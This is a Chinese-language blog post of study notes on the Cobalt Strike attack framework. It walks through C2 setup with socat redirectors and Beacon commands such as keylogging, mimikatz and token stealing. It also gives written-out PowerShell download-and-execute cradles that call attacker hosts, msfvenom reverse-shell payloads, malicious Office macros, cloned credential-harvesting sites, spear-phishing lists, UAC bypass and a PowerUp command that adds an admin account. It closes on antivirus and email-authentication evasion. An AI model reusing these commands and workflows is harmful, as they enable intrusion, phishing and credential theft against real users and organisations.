Cobalt Strike学习笔记

发布于 2023-03-05  277 次阅读


Cobalt Strike

安装

CS官网

启动

Cobalt Strike是一款CS架构

分为服务端程序和客户端程序

TeamServer启动

​ 想要启动CS,首先要启动服务端程序

​ cd进入Cobalt Strike目录,执行teamserver

  • win环境要在cmd(管理员)中打开teamserver.bat 文件,并设置ip和访问密码

    image-20221026091056581

  • linux环境则执行teamserver

    image-20221026091142155

客户端启动

​ Windows下打开bat文件,linux下打开sh文件

image-20221026091344260

image-20221026091416119

专业术语

Listener

监听器就是在等待连接被入侵的服务器,

目的有两个

  • Listener告诉Cobalt Strike 去为任意一种设置建立“攻击载荷”处理器
  • 被命名为一个别名,给处理器和设置信息,并让其他的团队协作者更好的使用

Payload

payload的命名方式遵循MSF框架,分为三部分,操作系统,攻击载荷,传输器

Stager

一个stager(传输器)是一个很小的代码,他连接并下载真实的”攻击载荷“并插入内存

因为有的时候,对攻击载荷的大小进行了限制,这时候,一个传输器就显的很有必要。

Beacon

Beacon是Cobalt Strike的有效载荷,即原始的的payload,当传输器下载了beacon并将其插入内存之后,beacon则开始负责攻击者的连接和回应

重定器(Redirectors)

真实环境中,我们一般会将真实的CS服务器放置在重定器(代理服务器或者端口转发工具)之后,从而来隐藏真实的攻击主机

所用到的工具 :socat工具(可以实现端口转发)

Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。

socat转发命令

命令格式
socat TCP4-LISTEN:80,fork TCP4:[team server]:80

socat TCP4-LISTEN:80,fork TCP4:cs.cskali.com:80

这里使用winserver搭建了一个局域网的DNS服务器

image-20221028212036137

然后win10运行客户端CS

image-20221029083855320

然后就是让BT5 和 CentOS使用socat进行端口转发

首先要设置两台电脑的DNS服务器为200的winserver

Linux 下修改 /etc/resolv.conf文件,将nameserver修改成winserver的ip

image-20221029084205448

image-20221029084526532

现在两台中转服务器的已经可以访问到kali了

然后就是使用socat进行端口转发

image-20221029084820056

image-20221029085047456

这样就将我们的重定向器设置成功了

我们可以通过浏览器进行访问测试, 在web日志中查看访问记录

image-20221029092014284

image-20221029094621534

然后我们进行攻击测试

首先创建监听器

image-20221029090743095

image-20221029090929811

设置监听器成功

然后生成powershell脚本

image-20221029091124219

image-20221029091336853

这里也可以选择r1,或者r2

然后运行获取脚本

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r1.cskali.com:80/a'))"

或者也可以使用生成exe进行执行

image-20221029100624247

可以看到,这里成功上线

Beacon介绍

Beacon是Cobalt Strike运行在目标主机上的payload,Beacons是在隐蔽信道上给我们提供服务,用于长期控制受感染主机 。它的工作方式与Metasploit类似。在实际渗透过程中,我们可以将其 嵌入到可执行文件添加到Word文档或者通过利用主机漏洞来传递Beacon。

image-20221028193011328

beacon命令

beacon> help

Beacon Commands
===============

    Command                   Description
    -------                   -----------
    argue                     命令行参数欺骗
    blockdlls                 禁止子进程加载非微软签名的dll
    browserpivot              注入浏览器进程代理用户已认证身份(仅支持IE)
    cancel                    取消正在下载的文件
    cd                        跳转目录
    checkin                   强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
    chromedump                提取Chrome保存的账号密码、Cookies等信息
    clear                     清空beacon任务队列
    connect                   通过TCP正向连接远程Beacon
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从域控提取密码hash
    desktop                   远程VNC控制用户桌面
    dllinject                 注入一个内存反射加载的dll到目标进程
    dllload                   使用LoadLibrary方式在目标进程中加载一个dll
    download                  下载文件
    downloads                 列出所有正在下载的文件
    drives                    列出所有磁盘盘符
    elevate                   利用提权漏洞获取一个高权限Beacon
    execute                   在目标上执行程序(无回显)
    execute-assembly          在目标上内存加载执行本地.NET程序
    exit                      结束当前Beacon会话
    getprivs                  在当前进程访问令牌(access token)中启用system特权
    getsystem                 尝试获取SYSTEM用户权限
    getuid                    获取当前进程访问令牌(access token)的用户信息
    hashdump                  获取本地用户hash
    help                      帮助信息
    inject                    在指定进程中注入新的Beacon会话
    inline-execute            在当前会话中执行Beacon Object File
    jobkill                   结束一个后台任务
    jobs                      列出所有后台任务
    jump                      在远程机器上植入Beacon(横向移动)
    kerberos_ccache_use       从ccache文件导入kerberos票据到当前会话中
    kerberos_ticket_purge     清空当前会话中的所有kerberos票据
    kerberos_ticket_use       从ticket文件中导入kerberos票据到当前会话中
    keylogger                 开启键盘记录
    kill                      结束指定进程
    link                      通过命名管道正向连接远程Beacon
    logonpasswords            使用mimikatz获取密码和hash
    ls                        列出目录文件
    make_token                创建进程访问令牌(access token),仅用于访问网络资源
    mimikatz                  运行mimikatz
    mkdir                     创建目录
    mode dns                  使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
    mode dns-txt              使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
    mode dns6                 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
    mv                        移动文件
    net                       网络和主机探测工具(内置net命令)
    note                      给当前会话添加备注信息
    portscan                  网络端口扫描
    powerpick                 内存执行Powershell命令(不调用powershell.exe)
    powershell                通过powershell.exe执行Powershell命令
    powershell-import         导入本地powershell脚本到当前会话中
    ppid                      为所有新运行的进程设置伪造的父进程PID
    printscreen               使用PrintScr方式截屏
    ps                        显示进程列表
    psinject                  注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
    pth                       使用Mimikatz执行Pass-the-hash
    pwd                       显示当前目录
    reg                       查询注册表
    remote-exec               在远程机器上执行命令(横向移动)
    rev2self                  恢复原始进程访问令牌(access token)
    rm                        删除文件或文件夹
    rportfwd                  反向端口转发(从Cobalt Strike Teamserver发起连接)
    rportfwd_local            反向端口转发(从Cobalt Strike客户端发起连接)
    run                       在目标上执行程序(有回显)
    runas                     以另一个用户身份执行程序
    runasadmin                以高权限执行程序
    runu                      以另一个进程PID作为父进程PID,并以其用户身份执行程序
    screenshot                截屏
    screenwatch               屏幕监控,每隔一段时间截屏
    setenv                    设置环境变量
    shell                     使用cmd.exe执行命令
    shinject                  注入shellcode到指定进程中
    shspawn                   创建傀儡进程并注入shellcode到其中运行
    sleep                     设置beacon回连间隔时间
    socks                     启动SOCKS4a代理服务器
    socks stop                停止SOCKS4a代理服务器
    spawn                     创建一个新Beacon会话
    spawnas                   以另一个用户身份创建一个新Beacon会话
    spawnto                   设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
    spawnu                    以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
    spunnel                   运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike Teamserver发起连接)
    spunnel_local             运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike客户端发起连接)
    ssh                       通过SSH连接远程主机(使用账号密码认证)
    ssh-key                   通过SSH连接远程主机(使用证书私钥认证)
    steal_token               从指定进程中窃取访问令牌(access token)
    timestomp                 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
    unlink                    断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
    upload                    上传文件

Beacon的分类

  • DNS Beacon
  • HTTP 和 HTTPS Beacon
  • SMB Beacon
  • TCP Beacon
  • External C2
  • Foreign HTTP 和 Foreign HTTPS

DNS Beacon

DNS 信标可以通过 DNS TXT 记录、DNS AAAA 记录或 DNS A 记录下载任务。此有效负载在目标上时可以灵活地在这些数据通道之间切换。使用信标的模式命令更改当前信标的数据通道。模式DNS 是 DNS A 记录数据通道。模式 dns6是 DNS AAAA 记录通道。并且,模式 dns-txt是 DNS TXT 记录数据通道。默认值为 DNS TXT 记录数据通道。

当受害者请求域名对应的IP时候,会从根域名一级一级向下寻找记录,我们的TeamServer也会充当一个DNS服务器,最终找到我们的TeamServer,DNS响应告诉Beacon休眠或者连接到团队服务器来下载任务。DNS响应同时也告诉Beacon如何从团队服务器下载任务。

操作

首先要进行dns的解析设置

​ A记录指向teamserver

​ NS记录 记录teamserver的域名

image-20221030164548673

然后设置监听

image-20221030164841552

生成powershell脚本

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://team.dnskali.com/dns'))"

在受害机执行

image-20221030165108140

然后checkin进行回连,成功上线

用户驱动攻击

image-20221031101911352

屏幕截图(screenshot)

image-20221031102317648

屏幕截图之后,可以在屏幕截图的窗口查看截图的内容

进程列表

这里 PID是 ProcessID 也就是进程ID

PPID是Parent Process ID 父进程ID

image-20221031105935593

屏幕截图(screenshot

这里也有一个屏幕截图功能,需要选择一个进程,一般选取是管理员权限的进程进行截图,点击后会进行提示

image-20221031110339487

image-20221031110400846

可以看到,这里已经成功截图

键盘记录(keylogger

成功

image-20221031110723719

这里可以通过与beacon交互命令关闭键盘记录

jobs 查看当前的任务

jobkill <JID> kill任务 注意是JID

在键盘记录这里右键删除是无法删除键盘记录器的

image-20221031111608272

终止进程(kill <PID>

image-20221031112004246

截取令牌(steal_token <PID>

image-20221031112235130

注入进程(inject PID <Arch> <beacon_name>

在进程列表里可以快速搜索(ctrl + F

注入进程可以在其他进程当中注入监听器

image-20221031112640111

image-20221031112909956

文件浏览

可以进入当前进程当中

image-20221031120955014

在这里可以上传文件、目录

下载文件、执行文件

等一系列操作

端口扫描(portscan

image-20221031184300512

也可以直接使用命令进行端口扫描

portscan [目标列表] [端口列表] [arp|icmp|none] [最大连接数(一般为1024)]

对指定的 [主机列表] 启动端口扫描

[目标列表] 是要扫描的主机列表,使用逗号分隔。 也可以指定IPv4
地址段(例如192.168.1.128-192.168.2.240,192.168.1.0/24)

[端口列表] 是要扫描的端口列表,使用逗号分隔。 也可以指定端口范围(例如1-65535)

[arp|icmp|none] 选项用于指示端口扫描器如何确定主机是否存活
ARP选项使用ARP来查看系统是否响应指定的地址,ICMP选项发送ICMP回显请求
none选项告诉端口扫描器假定所有主机均存活

[最大连接数] 选项可限制端口扫描器同时尝试连接的数量,端口扫描器使用异步I/O,
能够一次处理大量连接,越高的连接数将扫的越快,默认值为1024

image-20221031185527525

然后扫描完可以目标列表进行目标查看

image-20221031185915866

image-20221031190128005

image-20221031190142454

网络探测(net view

image-20221031171816085

VNC桌面交互(desktop

使用VNC远程桌面必须有相关dll

相关dll放在这个文件夹中

image-20221031163353236

image-20221031163217069

浏览器代理(browserpivot <PID> <Arch>

image-20221031164140541

关闭则需要在beacon中输入命令

browserpivot stop

会话管理

Cobalt Strike 派生会话

image-20221031195659564

  • 增加自身会话

    image-20221031195811665

  • 在其他teamserver 做备份会话

CS 派生 MSF 会话

设置Metasploit

这里使用的 payload是 windows/meterpreter/reverse_http

$ msfconsole
msf> use exploit/multi/handler    # 使用的模块
msf> set payload windows/meterpreter/reverse_http
msf> show options
msf> set LHOST 192.168.80.128
msf> set LPORT 8800
msf> exploit -j   # 后台运行

设置Cobalt Strike 监听器

image-20221031224001223

将CS会话派生给监听器

可以看到,msf这边已经传来了会话

image-20221031223905974

MSF传递会话到CS

设置CS监听器(Beacon HTTP)

image-20221031224615695

生成MSF后门文件

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.80.128 LPORT=8008 -f exe > msfshell.exe

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=47.93.172.190 LPORT=228 -f exe > msfshell.exe

生成后门文件后传个受害机WIN10

然后在MSF中设置监听

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.80.128 
LHOST => 192.168.80.128
msf6 exploit(multi/handler) > set LPORT 8008   # 这里的端口号要与后门文件中保持一致,因为要接收后门传递的数据
LPORT => 8008
msf6 exploit(multi/handler) > exploit 

当打开了后门文件时,kali这边成功获取meterpreter会话

image-20221101081528040

background放置后台

然后调用 payload_inject 模块,将该会话session id 再注入到新的CobaltStrike会话中

msf6 exploit(multi/handler) > back
msf6 > use exploit/windows/local/payload_inject 
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http 
payload => windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set LHOST 192.168.80.128 # CS服务端的IP
LHOST => 192.168.80.128
msf6 exploit(windows/local/payload_inject) > set LPORT 80 # 和CS服务端监听端口保持一致
LPORT => 80
msf6 exploit(windows/local/payload_inject) > set prependmigrate true # 告诉MSF修改其stager,即在利用之后立即迁移到另一个进程中
prependmigrate => true
msf6 exploit(windows/local/payload_inject) > set disablepayloadhandler true # 告诉MSF不需要在metasploit框架内处理程序来服务有效负载连接
disablepayloadhandler => true 
msf6 exploit(windows/local/payload_inject) > set session 1  # 被注入session的 id
session => 1
msf6 exploit(windows/local/payload_inject) > run 

成功上线

image-20221101091129484

MSF生成木马CS监听

同上一操作,在生成木马时,直接将IP和端口设置为CS服务器IP及监听器的端口

这样,木马则直接发送数据到CS

攻击方式

生成后门

image-20221101161540057

HTA文档

HTML应用HTML Application生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta文件。

Office宏病毒

什么是Office宏病毒

可以生成恶意宏,当受害者打开文档时,就会执行宏病毒

宏文件后缀名最后一个字母一般为m

操作如下
  1. 生成宏代码

image-20221106211539684

  1. 在一个合适的文档中设置宏

    image-20221106212043524

  2. 另存为一个支持宏的文件

    image-20221106212135860

  3. 打开文件,启用宏

    image-20221106212212368

  4. 成功上线

    image-20221106212248648

Payload生成器

image-20221106212434429

可以输出很多格式

Windows可执行程序(E)

image-20221106212621765

这里也有三种,普通的exe,服务,dll

Windows可执行程序(Stageless)

​ Stageless 表示把包含payload在内的"全功能"被控端都放入生成的可执行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)

钓鱼模块

image-20221106212937842

站点管理

打开之后再下方会出现web站点的信息

image-20221106213709065

网站克隆

网站克隆只可以克隆http协议的网站

image-20221107143138608

image-20221106220152997

这里我开始了

然后受害机访问,并输入信息

image-20221106220423863

因为我们做了键盘监听,所以这里可以接受到键盘记录

image-20221106220406315

文件托管

一般联合克隆网站一起使用,

首先将生成的后门文件先进行托管

image-20221107102412683

然后克隆所需要的网站,并设置所托管的文件,

image-20221107102325889

image-20221107103235778

当受害者进行访问时,就会开始下载后门,打开过后,受害机就会向Cobalt Strike发送请求,

Cobalt Strike监听到就会产生通信,进行会话。

web投递(Stageless)

image-20221107104318818

可以生成payload一句话,当受害主机执行命令,就可以获得一个会话

Java签名Applet攻击(S)

目前该攻击方法已过时。

Java 智能Applet攻击(T)

目前该攻击方法已过时。

信息搜集(P)

image-20221107103717650

这里跳转URL设置成正常页面,注意要带上协议

image-20221107103830436

访问之后,就会收集该电脑的信息,并跳转到页面

image-20221107104202777

MSF溢出代码攻击和CS联动

使用漏洞ms14-064

MSF攻击模块ms14_064_ole_code_exection

Payload windows/meterpreter/reverse_tcp

image-20221107110334974

image-20221107110433346

受害机访问网页

image-20221107111228132

KALI中监听到,并发送stager

image-20221107111056131

我这里没有获取会话,但是可以看到已经进行了溢出攻击

鱼叉钓鱼(Spear phishing),鱼叉式网络钓鱼

image-20221107123346554

CS邮箱钓鱼步骤:

创建一个目标清单

制作一个邮件模板或者使用之前制作好的模板,克隆网站

选择一个用来发送邮件的邮件服务器

发送邮件

目标清单

目标清单就是一个保存了攻击目标的邮箱,也可以增加使用一个标签或者名称

这里使用临时邮箱,注意,中间的分隔符是一个[TAB]

abc1@chacuo.net test1
abc2@chacuo.net test2
abc3@chacuo.net test3

image-20221107123203608

邮件模板

从自己的邮箱中找一个模板

image-20221107123830689

image-20221107123919003

然后将邮箱原文另存为一个txt文件

readmail.txt

image-20221107140947182

发送成功

image-20221107142834804

这里,可以伪造连接,让受害者进入你设置好的钓鱼网页,联合克隆网站会有很好的效果

权限提升

Bypass UAC

首先先了解一下UAC(User Account Control)机制

自 Windows vista 开始,Windows 系统引进了用户账户控制机制,UAC 机制在 Win 7中得到了完善。UAC 与 UNIX 中的 sudo 工作机制十分相似,平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升权限。

使用whoami /groups命令可以看到当前用户所在的组以及权限,使用net localgroup administrators可以查看当前在管理员组里的用户名。

这里我们提权的是一台WIN7系统

image-20221107193838905

whoami /groups查看当前win用户(别名表示当前用户)

image-20221107193738524

为超级管理员账户

image-20221107150440151

使用UAC提权

image-20221107150324117

image-20221107193642482

获取system权限

image-20221107193154822

这里用到的是ms14-058

获取了SYSTEM权限

Spawn As

使用账号和密码获取一个该用户的权限

image-20221107202507477

image-20221107205112212

域信息填写一个“点”代表本地用户

image-20221107205305195

可以看到成功获取win10用户的会话

spawnas .\win10 123456 http beacon

PowerUp

这里有篇文章写的很详细,here~~~

还有一个对于PowerUp攻击模块的讲解,这里哦

漏洞利用原理

windows 的一个逻辑漏洞,即当文件包含空格时,windows API 会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升

Windows系统服务文件在操作系统启动时会自动加载,如果一个低权限用户对系统调用的程序具有可写的权限,那就代表可以将其替换成我们的恶意可执行文件,当系统加载时就会启动。

PowerUp 所做的事是寻找可能存在弱点的地方,从而帮助提权。

加载脚本

这里使用到 PowerUp.ps1 文件

在CS中导入PowerUp.ps1

pwoershell-import

image-20221107200332738

检查漏洞

powershell Invoke-AllChecks 开始检查

image-20221107200539924

image-20221107200901204

检查返回了很多服务的信息,很多都具有高权限

并且在AbuseFunction信息中,直接给出了利用方式

使用 icacls 查看权限

image-20221107201038817

image-20221107202152173

可以看到,这个目录对所有用户都有F权限,即完全访问权限

增加系统用户(高权限)

这是按照AbuseFunction给出的利用方式增加用户

powershell Install-ServiceBinary -ServiceName 'edgeupdate' -UserName attack -Password 123456

当管理员用户重新调用服务之后,就会执行我们添加账户的命令,从而获取一个新账户

然后就可以使用Spawn As增加一个attack用户的会话

域渗透

免杀

绕过DKIM、SPF 和 DMARC

DKIM、SPF 和 DMARC这三个组件都是邮件用于帮助识别垃圾信息的附加组件

若目标使用了这三个组件,我们在发送邮件时就需要满足这写组件的标准

杀毒软件绕过

首先大致了解一下杀毒软件都干了什么:

  • 已知病毒签名数据库:大多数的杀毒软件都有一个已知病毒的签名数据库,通过将文件与库中的已知病毒进行比对,从而判断是否为病毒
  • 启发式扫描:当启动一个可执行文件时,杀毒软件会先检查,并与已知病毒比对
  • 行为监测法:当杀毒软件监测到程序存在异常行为,比如调用其他的高权限进程,修改重要文件等等,就会判断其行为严重程度,并做判断

这里也有一篇对于杀毒软件原理的文章,here~~

如何免杀